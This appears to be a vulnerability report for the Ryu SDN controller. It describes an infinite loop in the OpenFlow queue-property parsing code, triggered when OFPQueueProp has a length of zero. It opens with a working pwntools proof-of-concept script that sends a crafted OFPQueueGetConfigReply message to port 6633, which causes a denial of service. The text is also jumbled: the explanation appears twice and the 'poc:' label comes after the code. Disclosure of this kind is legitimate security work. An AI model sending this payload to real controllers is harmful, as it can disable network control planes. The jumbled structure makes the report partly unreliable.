from pwn import *
p=remote("0.0.0.0",6633)
payload="\x04\x17\x00\x50\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x72\x00\x00\x00\x73\x00\x40\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x02\x00\x10\x00\x00\x00\x00\x03\x84\x00\x00\x00\x00\x00\x00\xff\xff\x00\x10\x00\x00\x00\x00\x00\x00\x03\xe7\x00\x00\x00\x00"
p.send(payload)
p.interactive()
It was mentioned in https://github.com/faucetsdn/ryu/issues/177 that the length of OFPPacketQueue may be 0 during the parsing process of OFPQueueGetConfigReply message. However, during the parsing process of OFPPacketQueue, the length variable of OFPQueueProp may also cause this question.
This problem also occurs with the following code:
/ryu/ofproto/ofproto_v1_0_parser.py about line=1186
/ryu/ofproto/ofproto_v1_1_parser.py about line=3105
/ryu/ofproto/ofproto_v1_3_parser.py about line=6026
in /ryu/ofproto/ofproto_v1_3_parser.py about line=6026
If OFPQueueProp.len=0,the offset and length will no longer change and the parsing will fall into an infinite loop.
This message will put ryu into an infinite loop:
poc:
It was mentioned in https://github.com/faucetsdn/ryu/issues/177 that the length of OFPPacketQueue may be 0 during the parsing process of OFPQueueGetConfigReply message. However, during the parsing process of OFPPacketQueue, the length variable of OFPQueueProp may also cause this question.